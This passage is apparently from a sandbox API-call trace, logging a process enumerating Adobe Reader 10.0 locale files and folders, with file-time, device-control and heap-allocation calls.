lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fafdf80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.KOR", cAlternateFileName="")) returned 1 [0082.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.KOR", cAlternateFileName="")) returned 1 [0082.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.KOR", cAlternateFileName="")) returned 1 [0082.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.KOR", cAlternateFileName="")) returned 1 [0082.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.KOR", cAlternateFileName="")) returned 1 [0082.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.KOR", cAlternateFileName="")) returned 1 [0082.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.226] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.226] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a8700, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12a8700, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a8700) returned 1 [0082.226] NtClose (Handle=0x174) returned 0x0 [0082.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1284218) returned 1 [0082.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284218 [0082.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284320 [0082.227] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.227] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.227] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284428 [0082.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b728 [0082.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284530 [0082.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b748 [0082.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284638 [0082.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6dc0) returned 0x1293f28 [0082.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a1978) returned 1 [0082.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.231] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.231] GetLastError () returned 0x12 [0082.231] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.231] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.231] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.231] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.231] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.231] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.231] GetLastError () returned 0x12 [0082.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1284320) returned 1 [0082.232] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1284428) returned 1 [0082.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1284218) returned 1 [0082.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.KOR", cAlternateFileName="")) returned 1 [0082.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.KOR", cAlternateFileName="")) returned 1 [0082.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.KOR", cAlternateFileName="")) returned 1 [0082.233] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.KOR", cAlternateFileName="")) returned 0 [0082.233] GetLastError () returned 0x12 [0082.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.233] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.233] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0082.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.234] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.234] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.234] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.235] NtClose (Handle=0x168) returned 0x0 [0082.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.235] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.237] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.237] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="")) returned 1 [0082.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b768 [0082.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284218 [0082.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.239] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x61e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.NOR", cAlternateFileName="")) returned 1 [0082.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b788 [0082.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284428 [0082.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.241] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, 